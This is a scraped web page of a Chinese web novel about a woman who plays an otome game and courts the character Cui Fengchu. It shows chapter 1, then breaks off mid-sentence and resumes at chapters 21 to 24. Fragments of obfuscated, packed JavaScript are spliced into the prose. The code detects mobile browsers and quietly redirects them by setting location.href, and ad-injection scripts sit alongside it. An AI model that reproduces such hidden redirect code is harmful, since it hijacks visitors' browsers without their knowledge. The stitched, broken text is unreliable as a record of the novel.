《当朝太子是我梦男》 1. 救美 《当朝太子是我梦男》全本免费阅读 夙雾将醒,朝阳未吐,鸟雀不鸣,兽类绝迹。 此处连虫鸣都弱了下去。 山间台地上,一队人马借天色和地形隐匿踪迹,静默着窥察山下局势。 他们中的男子一概宽肩窄腰,阔胸长腿,身形高大健硕,戴款式各异的银色面具遮脸,不以真面目示人。 跨高头大马,腰长刀,或佩剑。 这样整齐划一,训练有素的队伍蛰伏在暗处,只待主人令下。 为首的少女正好整以暇地看着黎明即起,东方欲晓。 她不戴面具,玄衣墨发,打眼一看,与身后众人相似而不同。 乌纱绣金的抹额中间点了一颗皎洁北珠,细细一条束在她发间额上,尽显风流。 “系统,你确定人在里面吗?”季檀珠在心里发问。 不多时,一道轻快的声音回复她:“是的。已检测到目标攻略人物【崔奉初】,是否开启攻略任务?” 还没等季檀珠回复,她身旁的少年低声问她:“郡主,何时下山?” 这少年与季檀珠一样,同样未佩戴银质面具。黑色长发束成马尾坠在脑后,干净利落。 初春时分,晨风凄紧。 林间草木的晨露和雾气打湿马蹄,亦沾湿她的袍角。 “不急,须知螳螂捕蝉,黄雀在后。” 声音干脆清朗,带着些许势在必得的骄矜。 山下,行进的车马队伍突然遭遇险情,原先埋伏在山野丛中的人现刃而出。 随行的侍从虽多,但这些刺客明显有备而来,目标准确,下手狠厉。 等反应过来的时候,他们已经伤亡惨重,损失不少人手。 生死只在一瞬,季檀珠来不及犹豫,在得到系统的回复后,立即下令。 “上。” 抬手间,她身后的暗卫立即行动,一部分按照既定路线沿山间小路驱马而行。 其余小部分暗卫借力蹬地,利用铁鸱脚沿断崖俯冲而下。 甫一落地,他们就用利用手中器物之便,灵活钩取到几个离马车最近的刺客,将其拖拽数米。 飞钩爪刺尖利,一旦缠上,非要扎透皮肉不可。 可其余刺客对同伴皆不闻不顾,一心朝着马车杀去。 这群刺客的目标是马车里的人,所以并不多纠缠,撕开队伍中间的一道口子后,就有人放弃与暗卫纠缠,转而进攻车内的人。 马受惊嘶鸣,车夫也被斩于车下。 眼见着刺客即将得手。 在刀光剑影中,季檀珠疾驰而来,见先到的暗卫分身乏术,还是有个漏网之鱼已经到了马车前方。 他举起剑,意图明显。 远水解不了近渴。季檀珠管不了那么多了,她边存档边勒马立停,从背后抽出一支箭。 饶是这般千钧一发之际,季檀珠内心仍旧是兴奋大过恐惧。 季檀珠唤出系统,问:“新手礼包现在能用吗?” 她记得新手礼包会赠送玩家一项技能,外加三个技能点。 系统回复很快:“可以。” 开启“射术”技能后,季檀珠把三个技能点加上。 几息之间拈弓拉弦,架箭从容。 箭破空之声如鸟鸣,与此同时,她在心底赞叹道:“不愧是我蹲了三年的游戏,内测都这么有意思了,我都不敢想公测体验感会有多好。” 系统及时接收到她的心声,道:“感谢玩家的支持,系统已根据您的行动,自动开启攻略角色【崔奉初】,请再接再厉,继续完成攻略任务。” 箭矢破空而至,眨眼间穿骨破肉,刺穿歹徒心口。 季檀珠并不着急上前,她目前武力值不高,多项技能都未开发,唯一拿得出手的技能就是刚刚点亮的射箭。 现在上前也是给自己找麻烦。 季檀珠坐在马上,手臂微微抖动,估摸着是刚刚拉弓时用力太满,一时缓不过劲儿。 她握着缰绳,对身旁一直沉默不语的少年说:“宁闯,你此前走南闯北,可曾去过洛京?” 宁闯闻声展笑,不动声色地移开放在季檀珠手上的目光,声色朗朗:“早年漂泊江湖的时候,确实在罗京小住过一段时日,郡主有何指示?” 弯弓搭箭,季檀珠闭上一只眼,看似漫不经心,实则已经选好了第二个目标。 弓弦张开的声音尽在耳边,宁闯端详着马背上的少女。 天色渐青,今日第一缕阳光洒在季檀珠面庞,她耳旁的金色坠子摇摆不定,晃得人眼昏。 “久闻洛京风貌,这一趟没有家中长辈看管,我可要玩个痛快。” 虽是闲聊,但她眼睛一错不错观察着场面形式,只待暗卫提了两人过来。 哐当一声,膝盖着地的声音听得人牙酸。 季檀珠拢了拢身上的披风,说:“天子脚下,竟也有人吃了熊心豹子胆,敢在城外埋伏撒野。不管用什么法子,撬开他们的嘴,三日内,我要知道此事的幕后主使。” 她话音刚落,宁闯蹙眉厉声:“卸了他们的下巴。” 晚了。 两名被压制跪服的刺客不谋而合的抽搐倒地,等暗卫再查看时,已经无力回天。 “郡主恕罪。” 季檀珠本就不是什么寡恩刻薄的人,这些暗卫是她目前在游戏内的最大助益,她当然不会苛责。 “算了。”季檀珠摆摆手,抬眼看向不远处的马车,心情瞬间晴朗。 攻略对象就在里面,今日的英雄救美是她进入游戏后,根据系统透露出来消息为他量身定做的。 一想到即将见到那位翩翩君子,如玉佛般的崔大人,季檀珠就无意把得失计较到毫厘微末之处。 开玩笑,剧情就算漏失一点也没关系,乙女游戏最重要的当然是谈恋爱! 想到这里,季檀珠假模假样咳嗽了一声:“我过去看看。” 宁闯想跟上去:“情况未明,要不我替……” 季檀珠摆手阻止,态度坚决:“不必,你随其余暗卫善后即可。” 宁闯的脚步停住,双手悄悄握紧,不甘心道:“郡主小心。” 按照常理来说,宁闯是季檀珠第一个见到的可攻略对象,也是她目下相处最久的人。 她该听出他的担忧,并及时纵容他插手此事。 但看板郎崔奉初的人设实在深得季檀珠的心,也是为了崔奉初,季檀珠才参与内测。 正因为从未见过此人的庐山真面目,季檀珠才更加心痒难耐。 人都喜欢新鲜感,季檀珠也不例外。 所以季檀珠虽然有点心虚,但还是选择性忽视了宁闯的提议,转而兴冲冲走向新人物。 车马的幕帘厚重,季檀珠摸了摸额上润泽光滑的北珠,深吸一口气,掀开帷裳。 此时旭日东升,天色已然大亮。 天光照进车厢内,馥郁熏香铺面而来,季檀珠呼吸一滞。 眼睛都看直了。 人人皆道崔奉初是翩翩君子,季檀珠在北地也曾听过他的名声。 崔家七郎,温其如玉。 他是当今圣上钦点的探花郎,亦是崔氏这一辈中无出其右的佼佼者。 眼前的郎君令季檀珠心神撼动,只觉得传言非虚。 但定睛一看,其人并非全如他人口中模样。 宽袍大袖,红衣素纱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930102|134446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,微微侧目,说:“手艺粗劣,郡主喜欢就好。” 季檀珠也不担心崔奉初会不会谋害自己了,挨个把几个风筝看一遍。 她看见漂亮东西就走不动路的毛病又犯了。 选了好几分钟,季檀珠还是难以抉择。 崔奉初安静站在她的几步之外,认真看她挑选风筝。 见她犹豫不决,十分体贴的提议道:“不如全都拿走?” 季檀珠转过身看他,有点不好意思:“这不好吧。” 崔奉初早已为她想好了理由:“没关系,我只喜欢做风筝,并不喜欢放风筝。” 这理由很牵强,但放在崔奉初身上却意外有说服力。 崔奉初一身宽袍大袖,潇洒风流,眉目如画,端的是一派翩翩公子的气度。 这样的如玉郎君,很难想象他是如何放肆玩闹,牵着风筝到处招风借力的。 “不如让我买下吧。”季檀珠不想白拿东西,更不习惯欠别人的。 原是好意,但这话说出来,听到崔奉初耳朵里,反倒是让他觉得季檀珠着急与他撇清关系。 崔奉初的笑意僵在脸上,不明白自己哪一步让她联想到了买风筝。 不过他很快就调整好,拒绝季檀珠与他钱货两讫:“你同我,何必这般客气?这些不值钱的东西,郡主能喜欢便是奉初之幸,更何况,郡主曾救我于危难之际,若是我为这些东西而收下郡主赏钱,岂不可笑?” 季檀珠还拿着一只燕子风筝,她神色认真,纠正了崔奉初的说法。 “郎君的手巧,又肯花心思,这些风筝的图案别出心裁,做工精良,即便真拿出叫卖,也定会在摊位前排起长龙,根本没有郎君所言那般一文不值。” “崔郎君,我要给你银钱,并不是一时兴起,随手拿钱财打赏,借此机会折辱你。我只是太喜欢,总觉得要给你些什么,才好对得起你的一番心意。” 崔奉初心想,又来了,那种不受控制的感觉。 他在季檀珠的恳切言辞中感受到自己脸上的温度不断攀升。 所有的算计在这一刻都不管用,他的卑劣在她面前无所遁形。 崔奉初从未想到先败下阵来的是自己。 他有些心虚,不敢看季檀珠。 季檀珠还在继续说:“如果你不愿意让我给你银钱,总得让我也回赠些什么吧?” 说到这里,季檀珠开始绞尽脑汁想,自己有什么能做的东西。 琴棋书画样样处于待开发阶段。 手工艺品她也没什么能做的。 季檀珠一时半会儿还真想不起能用什么回礼。 良久,崔奉初等不来季檀珠的话音,他怕错失良机,烧着脸和她说:“我还会做其他东西。” “就算不会,我可以学着做。” “郡主,能给我绣个荷包吗?”崔奉初试探着说,“样式和纹样不必太复杂。” 怕季檀珠多心,觉得自己不怀好意,崔奉初最后又补充道:“我家中无姊妹,早就羡慕族中其他兄弟有姐妹亲手绣制的荷包了,郡主若是不方便,就当奉初从未说过前头的话。” 22.凛冬 季檀珠果真有些犹豫。 倒不是因为别的缘故,而是因为她这人根本不会绣花。 她没有立刻答应下来,就是知道自己肯定要辜负对方的期待。 眼见着崔奉初眼中的光亮一点点暗淡下去,期待褪却,他还为季檀珠找补。 “没关系,郡主若是觉得为难,奉初绝不强求。” 季檀珠咬咬牙,刚想硬着头皮答应下来,脑内灵光一闪,突然想到了一个更合适的办法。 “骑马!”季檀珠说,“我教你骑马射箭不就好了。” 其实崔奉初会骑射,只是不精于此道。 现在季檀珠主动提出,他自然不会拒绝。 “其他的我不敢保证,但我骑射技术还算可以,教你绰绰有余。” 崔奉初看着她眉飞色舞,难掩得意的模样,也不禁被她的情绪感染,重新焕发笑容。 “好。”崔奉初刚答应下来,似乎想起什么,问季檀珠:“只是长公主实在不喜崔氏子弟,若是她知晓你我之间的事,会不会觉得,是奉初蓄意挑衅?” 崔奉初姿态谦逊,宽和温厚。 季檀珠觉得,若崔奉初不是崔家儿郎,便是出身微末,以他的气度和才情,也定会让长公主另眼相待。 但有时候,季檀珠又觉得崔奉初这人怪怪的。 譬如现在,他说这段话,便让季檀珠无端生出一种微妙感情。 他让季檀珠有一种面对经典问题的即视感。 千古难题之你妈和我你选谁。 季檀珠选择中立。 “这个嘛……你说的也有可能发生。” 见季檀珠言辞模糊,态度暧昧,崔奉初心道糟糕,责怪自己太过心急。 他不想让季檀珠觉得自己咄咄逼人,于是不动声色又把话接了回去。 “郡主何时有时间教导奉初?如果需要我做些什么准备,尽可以提出来。” 季檀珠也不愿意继续刚刚的话题,两人很自然就把此事遮掩过去。 沉吟片刻,季檀珠回答他:“每月初一、十五如何?到时候我们风筝为信,若是你看到风筝升起,就去城南的那片草地等我。” 崔奉初没有异议。 月亮西沉,季檀珠估摸着时间不早了,便起身告辞,翻过一道墙,回了自己居住的院落中。 她躺在床上越想越觉得自己是个天才,既能推进攻略任务,还能趁机溜出长公主府透气。 游戏会为玩家与攻略角色尽可能创造便利。 是以,季檀珠很快就找到机会,每月溜出去两次,与崔奉初一同到城外。 崔奉初学什么都很快,唯独在骑射方面迟迟不见长进。 季檀珠挖空心思教他,可他仍旧进步缓慢。 没过几次,甚至连原先会的技巧都给忘光了。 如此这般,饶是季檀珠也品出不对劲。 在崔奉初又一次预备射箭之时,季檀珠在他身后静静端详。 姿势正确,发力点正确,连风也异常懂事,没有在此刻掀起叛乱,扰动箭矢轨迹。 可偏偏,这么漂亮的箭发出后,最终只惊到了林间埋头苦吃的野兔和在树上看热闹的鸟雀。 箭下空无一物,季檀珠沉默半晌,联想到她与少年崔奉初的初次相遇,最终还是没忍住调出系统界面。 她有一个一直憋在心底的疑问,必须在此刻得到答案。 “系统,你说这个崔奉初,他是不是虚?” 遗憾的是,本次负责回答她的并不是381147-149114。 不能理解她意思的人机系统听到季檀珠话中的关键字,立即开始检索。 “已根据玩家大人的指示,检索到相关文章《男人虚的六种表现》、《什么食物可以治疗男人虚》、《深夜秘事:男人的宝藏》…” 听到越来越离谱的标题,季檀珠干脆关掉页面。 她牵着缰绳,有些严肃的对崔奉初说:“你对我有什么意见吗?还是说,我根本没有为人师表的天赋。” 崔奉初紧了紧护腕,疑惑回首:“檀珠何出此言?” 他姿态随意,回答季檀珠任何问题前,必先看她 这几个月的相处,让他们在不知不觉间熟络起来,崔奉初也不再拘谨,偶尔也会同她开玩笑。 季檀珠这次却不是说着玩,而是真心困惑。 “你明明能够射中那只野兔,为何放过它?” 崔奉初抿了抿唇,难得生了点小脾气。 “你不知道?你当真不知道?” 他定定望向季檀珠,少女闻声与他对视,两人在马背上相顾无言。 “我应该知道吗?”季檀珠询问。 崔奉初被她的直白反噎,喉间塞着一团酸涩委屈。 “那你觉得,我为何装傻作痴?”崔奉初说,“不过是因为不舍得。” 季檀珠笑嘻嘻嘴欠道:“怎么,你信佛啊?” 她知道这是为什么,崔奉初为人内敛含蓄,可望向她的眼神直白而热切。 每每季檀珠凭借直觉与崔奉初对视,他都会是先错开视线的那个人。 季檀珠的心也不是石头做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942611|134446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不可能察觉不到崔奉初对她的好感。 可现在并不是主线情节,崔奉初再怎么老成,也不过是十六、七岁的少年。 季檀珠接受是现代社会思想,无法让她无视法律道德,对一个未成年人下手。 崔奉初这人,看似是纯情世家子,实则深谙得寸进尺的手段。 敢退让一寸,他就敢逼近一尺。 若季檀珠不糊弄过去,崔奉初明日就敢撞着胆子请媒人去长公主面前讨嫌。 季檀珠故意扭曲他话中的隐晦含义,继续说:“你要是不舍得打兔子,我们就不猎兔子,只纵马观景也是雅事。” 崔奉初面色铁青,道“你觉得我是不舍得杀兔子?” 崔奉初磨蹭着,不肯让季檀珠看到自己的进步,就是怕学得太快,季檀珠教几次,便没有理由过来寻他。 怎么在她眼中,自己却是这般无情。 崔奉初留下一句:“你以为这世上的人,都是木头脑袋吗?” 说罢,他骑马而去,留给季檀珠一个决绝的单薄背影。 崔奉初一向温柔体贴,还是第一次给季檀珠耍小脾气。 季檀珠觉得稀罕。 不怪她玩心起,崔奉初此人虽不是迂腐的小古板,却也总是端着身份,不轻易显露真情实感。 永远端方持重,永远带着恰到好处的客套与疏离。 与人相处时,崔奉初身上总有一种难以触摸的边界。 看似咫尺之距,实则如有弱水之隔。 现在他对季檀珠爱搭不理,院子里却仍旧不设防。 季檀珠闲来无事,就会去找他聊天,信口胡诌些无伤大雅的话逗他,试图用这种方式进一步了解崔奉初。 这次不得了,崔奉初一连半月都没主动与季檀珠说话。 季檀珠还在想用什么方式哄他,又被冬日里寒风打倒。 此前她用了系统里的丸药作弊,所有因病产生的疼痛会通通被她感官屏蔽。 正因如此,这场病来势汹汹,爆发的毫无征兆。 季檀珠这才是真的有心无力,别说找崔奉初解释,就算是下床走一段路都苦难。 连续卧床五日,她于一片混沌中找到些许清明。 经府中医师把脉,季檀珠终于有机会下床,她被搀扶着到门口透气。 因为不宜见风,她只能透过缝隙看门外的院落冬景。 枝叶已枯,百花凋零。 而这灰色世界唯一的亮彩,穿过墙壁,在天空中升起。 有一只彩色蝴蝶穿过隔阂,孤零零飞着。 23.钓鱼 季檀珠尚在病中。 系统给的药虽然可以阻断痛感,却不能真正意义上改变身体机能。 虚弱感让季檀珠浑身酸软无力,暂时不能爬墙去找崔奉初。 隔着门缝,季檀珠见墙头的蝴蝶飞了三日。 等她终于恢复得差不多了,却没有立刻去找他。 说到底,崔奉初只是一个在游戏里的男人罢了,季檀珠赏阅过的游戏千千万,兴致起来可以围着他们氪金砸钱,挖空心思攻略他们。 一旦有了其他更有意思的事,也可以把这些人往一旁放一放。 譬如现在,季檀珠突然扫到她园中的池子。 与洛京的冬日不同,安平整个冬季都只有刺骨寒风,风中无雪。 冬季除却寂寥的树和枯败的草,还有静若死水的池塘。 季檀珠在池水里养了几尾鲤鱼。 它们并非是宫中寻芳园里那种红、白、黑相间交错的胖锦鲤,而是渔民自河中打捞上来的普通鲤鱼。 灰黑色的鳞片,矫健的尾巴,一放入水中就会游得飞快,人抱着它,一不留神就会被鱼尾扇几个大嘴巴子。 年纪和体型比一般街边贩卖的鲤鱼还要大。 不亲人、不温顺,有一种狡猾的敏捷感。 因为天气严寒,它们沉在湖底,并不轻易路面。 长公主与靖安候也不知道季檀珠为什么会养这种不通人性,且毫无观赏价值的鲤鱼。 季檀珠当时也不知道为什么会买下来,随便编了个理由回答他们:“养到院中做储备粮,哪天钓上来,让小厨房做红烧鱼吃。” 实在是个没事找事的理由。 府中专为季檀珠研制的滋补菜式不胜枚举,她离开长宁宫时,怕她吃不惯外头的口味,太后甚至为她拨了宫中的厨子随行。 比鲤鱼肉质鲜美的鱼类也有很多,南方江河多,几尾只能称得上老当益壮的鲤鱼,寻常是端不上她饭桌上的。 直至现在,她才想起这几条生活安逸的老鱼。 今日无风,季檀珠吩咐身侧婢女:“去拿鱼竿和饵料,我要钓鱼。” 季檀珠坐在池边,披着翠兰狐裘,怀里抱着长绒暖手抄,里头还塞了个汤婆子。 塞了塞披风,她把自己团成一团,夹着鱼竿就这么守杆待鱼。 季檀珠知道老鱼狡猾,所以特意吩咐人不用喂今日的鱼食。 饿了,自然才容易上钩。 不过鱼的耐性还是太强,从晌午待到傍晚,鱼竿终于有了动静, 季檀珠一人拉不住,喊了两个侍女一起收杆。 几人合力,最终把一条贪嘴鱼钓上岸。 晒了半日太阳,季檀珠浑身都懒洋洋的,指挥着她们把鱼放入木桶中。 本想就这么送到厨房,今晚加个菜,才想起来长公主与靖安候今晚有约,不回府中用晚膳。 “要不送到咱院中的小厨房?” 季檀珠余光扫到那面与崔奉初相邻的墙,抄手直着脑袋若有所思。 她想到了鲤鱼的食补功效。 蝴蝶风筝已经不知所踪。 片刻之后,季檀珠拒绝了这个提议:“不,你从府中后院出去,悄悄送到隔壁,让一个叫陈默的过来,就说是有人送给他家公子补身体用的。” 嘱咐完,她回房间补觉。 兴许是这几日睡得多,白日里又在湖边迷糊了一阵,她今夜并未一觉睡到天明。 此时夜深,冬夜寒冷,连虫鸣都没有,只有风过枝头残叶的零星沙沙声。 负责在外间守夜的侍女也睡着了。 季檀珠睁着眼,翻来覆去了半个时辰,最终穿戴好衣物,蹑手蹑脚离开寝室。 她熟门熟路摸到墙边,翻墙、落地、收线一气呵成。 如她预料中一般,崔奉初书房还亮着灯。 不仅如此,自她第二次越墙,就发现院中通往书房的路上,多了几个石砌底座的落地灯彻夜亮着。 院中的路和沿途草地也被翻新修葺过。 子时人静,崔奉初这里却像是随时在这里等候季檀珠,无论她在什么时候造访,院中总有一盏灯为她照亮前往 季檀珠大摇大摆来到书房,象征性敲了三下门,然后听到了一声巨大的重物落地声,还有少年倒吸一口冷气的声音。 接着是重物落地和纸张掀动的声音。 隔着门板,听不真切。 这片嘈杂中,唯有脚步声离季檀珠越来越近,越来越真切。 片刻后,崔奉初打开门。 季檀珠刚想迈步走进来,他却像是回到了两人刚认识的那段时间,还没等季檀珠凑近,就赶紧屏住呼吸拉开两人间的距离。 本无意对他做些什么的季檀珠有些不满。 在她心里,这里面所有的男人都是一道程序,再美的皮囊都是为了取悦他而存在。 偶尔傲娇是情趣,但老是拿乔做派就是不识趣了。 更何况,先动小心思勾引她的不是正崔奉初吗? 她在病中无聊,某日曾拿起风筝端详,突然发现从崔奉初那里取来的新风筝,和从前那只坏掉的风筝有多处做工相同之处。 甚至,连作画风格都极为相似。 据她所知,古代的颜料可不好买,季檀珠就叫人顺着这条线索去查。 游戏设定并未完全遵循某个真实朝代背景,但整个也只有一家顺带贩卖颜料的铺子。 铺子里的画师一番仔细辨认,确定这上面的颜料并非他店中所售。 回来传话的小丫鬟是这么说的:“画师说,这两只风筝的颜料一致,不过应当是私人特制。有些颜色稀罕,需用特殊的矿石研磨成粉,再佐以剔除杂色、沉淀、过滤等多项繁琐技艺才能得出一点,费时费力,寻常人家是用不起的。” 再接着往下查,他们就找到了当日售卖风筝的匠人,可却怎么都找不到。 问周围的摊主,无人知晓那小商贩的来历。 再问城中会制作风筝的手工匠人,他们也记不得那人。 不过倒有意外之喜。 有人指出,这风筝的断裂处是故意为之,断裂口设计的巧妙,只在一处骨架那里用了易折损的细枝条,若不是刻意,也说不过去。 如果这一切是崔奉初所做,那就说得通了。 风筝的损坏是他故意为之。 应当说,从他知晓季檀珠身份开始,就步步为营想要接近她。 季檀珠并不在意他有什么目的,也不在意他是想要贪图自己什么。 因为她这具身体本就每多少日子可活。 可她不能忍受崔奉初这般避她如蛇蝎。 季檀珠今夜过来是想哄一哄他,再给他个台阶下,现在看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来也没必要了。 “崔郎这是没耐心等我,另寻了高枝,想要和我划清界限了?看来今夜是我自作多情了。” 季檀珠皮笑肉不笑,抬脚就要离开:“我生平不爱与人纠缠,从来都喜欢好聚好散。若崔公子不愿与我来往,直说便是,在下这就告辞。” 说完,她从袖中取出一块东西,仍在他胸口 崔奉初手忙脚乱接着,发现是一枚成色极好的玉佩。 不过应该没怎么用过,不像是经人时常佩戴把玩的样子。 “不过你长得挺和我心意,这东西,就当成是你前几日取悦我欢心的劳苦费。” 这一招杀伤力和侮辱性都极大。 崔奉初一个深闺世家公子,十几年来遵循家规,守身如玉,季檀珠不仅拿东西砸他,言语间还把他与外头那些不正经的男子相提并论。 如若是别人这么做,崔奉初要么与之决裂,要么一头撞死。 可连日不眠不休的等待和苦熬让他这会儿神智都不太清明。 崔奉初眼前发昏,尾椎骨和头顶两点向心口汇合,一阵阵发麻发痒,余浪刺激着他伸手挽留。 “别走!”崔奉初握住她的手腕,立刻解释,“我不是那个意思,我是怕墨水弄脏你。” 季檀珠这才收脚,回头看向他。 定睛一看,她才发现崔奉初的眼眶都熬红了,眼底布满了血丝。 往日,崔奉初不屑于学那些名士们簪花敷粉,可今夜,他还是敷了粉。 连身上都有一股淡淡的香。 是她曾无意间提起过的,比较偏爱的桂香和兰香。 从头发丝到脚上穿的鞋,无一不是按照她曾夸过的方式精心打理。 唯有白衣,被泼了一大片墨色。 不过崔奉初生得清秀,身姿挺拔端正,跑过来的步伐虽急,却依旧不见狼狈。 方才离得远,这身衣服乍一看,像是衣料上刻意设计出来的泼墨样式。 这会儿仔细闻,还能闻到细腻馥郁的墨香。 季檀珠的心稍稍软了几分,终于收敛起那幅让崔奉初看了心脏狂跳,头脑不安的假笑。 崔奉初年过十七,身高出挑,此刻却低下头,扯着季檀珠的衣袖,继续解释道:“檀珠,你都知道了对不对,都是我的错,不要不理我。” 崔奉初双眼干涩,眼下原本平滑细白的肌肤发青,红血丝爬上眼白,应该是多日没休息好所致。 他一直在等她。 因紧盯着季檀珠,不舍得眨眼,崔奉初的泪很快就被逼了出来。 挂在眼眶边,摇摇欲坠。 这些瑕疵不仅没有影响他的风姿,反倒多添了几分说不清道不明的韵味。 季檀珠的气已消下去大半,她本身就不甚在意,见他这副模样,心里只有四个大字。 我见犹怜。 不过季檀珠觉得男人千万不能惯着,有必要给崔奉初长个记性,于是问他:“哪错了?” 崔奉初喉结滚动,声音带着不易察觉的颤抖。 “满心算计,设法接近檀珠。” “引你犯险,不顾长公主之意,私下与我来往。” “最后一个,也是奉初最大过错,便是不甘你我今生缘分就此断裂,郡主于我有救命之恩,我却在发觉郡主无意求任何回报后,不知廉耻,强求郡主垂怜。” 24.元宵 季檀珠瞧着崔奉初满脸憔悴,苍白的面容比北方的雪更甚。 他的嘴唇干涸,轻微起皮,亟待水来润泽。 为了不让墨汁洇染到季檀珠身上,崔奉初始终把握着两人间的距离,连挽留也不敢多往前半步,始终与她留了一个身位以上的距离。 季檀珠自然不会再狠心到一走了之,她叹了口气,在他几近哀求的期待眼神中败下阵来。 “瞧你可怜的。”季檀珠指节接过他眼角悬而未落的泪珠,放在跟前仔细端详。 晶莹的,圆润的。 随着季檀珠的动作,在她食指关节处摇摇欲坠。 好在并未流失消散。 季檀珠突发奇想,把这滴泪送到崔奉初唇边。 崔奉初不解其意,她又往前几寸,几乎要沾湿他的唇瓣。 这下,崔奉初懂得她想要自己做什么了。 他犹豫片刻,最终轻轻把唇抵上她指上湿润。 这一点莹润亮光很快吞没在他干涸的唇上。 透过唇缝,崔奉初尝到了苦涩。 也正是因为这一动作,他的舌尖无意间舔到了季檀珠的手指皮肤。 崔奉初像是被钉在原地,连鼻息都屏住了。 他像是一个被困在浅水洼地的鱼,这点雨无法拯救他的性命。 片刻的拯救于他而言只是杯水车薪,他需要的是两个极端。 要么烈阳重重,彻底把他蒸发晒干。 要么暴雨倾盆,为他灌溉,予他生机一线。 崔奉初湿漉漉的眼望向季檀珠,去看她反应。 察觉到她并无厌烦抵触,甚至带着若有似无的笑容时,崔奉初心中的围墙悄悄裂了一道缝隙。 鬼使神差般的,崔奉初轻轻舔了季檀珠的手指。 舌尖的触感温润,季檀珠并不讨厌,很自然地把手贴在崔奉初脸侧,顺势拉近了两人间的距离。 “若你觉得自己是无可饶恕的罪人,那我就是助长你气焰的帮凶。奉初,我不会断案评理,也不掌律法刑狱,我要的从来不是对错分明。” 他们的影子重叠,投射在窗上,随窗外随风摇晃的树,连成一片模糊不清的剪影。 崔奉初身上的墨水脏了季檀珠的衣衫。 然而此情此景,已无人在意这些无关紧要的插曲。 崔奉初不知道自己在紧张些什么,只觉得心脏都要从嗓子眼里蹦出来了。 他几乎能感受到与季檀珠相错交织的呼吸。 两人间的距离越来越近,崔奉初情不自禁弯腰垂首,向她靠近。 就在崔奉初的嘴唇即将贴上季檀珠时,她侧首避开,把头靠在他肩头,紧紧与他相拥。 “你可知我今夜为何来?” 崔奉初心底还些难以启齿的遗憾,听她这么说后,依旧心不在焉。 “不知道。” 季檀珠说:“年节将至,我可能要忙一阵子,没时间来找你。” 十天半月才得相见,见面后又说分别久远,崔奉初回答的云淡风轻:“年关难过,我理解。” 心底却泛酸。 想到接下来又是遥遥无期的等待,崔奉初这才无所顾忌,抬起双臂回抱季檀珠。 经过这几月的相处,季檀珠已经对崔奉初的表里不一有了些认识,知道他这是心里头别扭不肯说。 她拍了拍崔奉初的背,轻笑道:“在宫中这么多年,我还没见过民间的元宵灯会,不知崔郎君可得空,陪我闲逛一番?” 崔奉初霎时红了脸。 他抱着季檀珠的肩膀,反复询问:“真的?” “真的。” “你确定吗?那,你如何向长公主交代?” 灯会虽在夜间开放,城中宵禁三日内不戒严,可想要看到好看灯盏,游街闲逛,必得是挑繁华处行走。 届时人山人海,若无侍卫看护,恐怕长公主是不会允许她擅自出府的。 可行程若要过长公主的面,她定然不会同意季檀珠与他同行。 季檀珠觉得好笑,耐心和他解释:“母亲那里我自会解释,你不用操心,你只说你自己愿不愿意即可。” 崔奉初当然是愿意的。 得了好处,崔奉初那点得寸进尺的心思又在蠢蠢欲动。 他犹豫半晌,最终被季檀珠拍了一下,催促道:“有话就说。” 崔奉初觉得自己这样问太小心眼,但要是不问出口,他直至元宵节前心底都不会安生。 于是,崔奉初问她:“随你同行的郎君,只有我一人吗?” 季檀珠也不知道该说他些什么好,索性故意道:“自然不是。” 眼见着崔奉初攥紧了拳,错愕与不解几乎吞没他,季檀珠这才把后半句话补上:“我府上侍从个个都是年富力强的好儿郎,到时候会跟在我们身旁照看,不会轻易上前打搅你我看灯就是了。” 季檀珠这会儿有了困意,无心再留在崔奉初书房中。 她松开抱着崔奉初的手,与他告别。 崔奉初还兀自留在房内,心里头已经盘算好了一切。 日子悄然飞逝,转眼已至元宵节。 宫中的赏赐已快马加鞭送到府上,季檀珠挑选着傍晚出门时要穿的衣服。 有人急匆匆进来,说是有信送了过来。 送信的人说,是宫里头传回来的。 太后与圣上派来的人并未多留,早就启程回京。 这时候从宫里递出来的消息,只能出自弦言与穗语。 季檀珠离开洛京时,并未带走她们,而是为她们另寻了差事,又留了银子和两件她常用的首饰给她们。 她想着,宫中一向人心凉薄,即便过些年,她的面子不好使,有银子上下打点,也能过上清闲日子。 全当作她们这段时日的尽心服侍,和绞尽脑汁搜罗故事哄她开心的奖励。 弦言与穗语家人都在京中,用不了多少年,就能出宫与家人团聚。 季檀珠本意是让她们就此远离事端,静等出宫。 可这两人似乎有自己的想法,并未完全按照她的意思干等下去。 而是趁着宫中年节赏赐,打点了送礼的太监,借口报答郡主恩情,将宫中消息送了出来。 太监知晓她们是蒙宝璋郡主之幸,才有了如今的好日子。 银子到位,捎带着送些什么也不成问题。 季檀珠表面上不甚在意,实则把盒子放在眼前,等出了府,坐到马车上,才翻出盒子。 盒子里头只有荷包一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个、手帕两方。 做工精巧,但季檀珠不信两姐妹大老远就送些这个给她。 她更相信她们是怕太监中饱私囊,随意翻动东西,所以藏得隐蔽些。 果然,季檀珠把东西都拿出来,仔细摸过盒子的每一寸。 外盒光滑,并无机关。 季檀珠不死心,又侧过来看了看,这盒子容量有问题。 盒子虽小,可这盒子的制式是宫中最常见的。 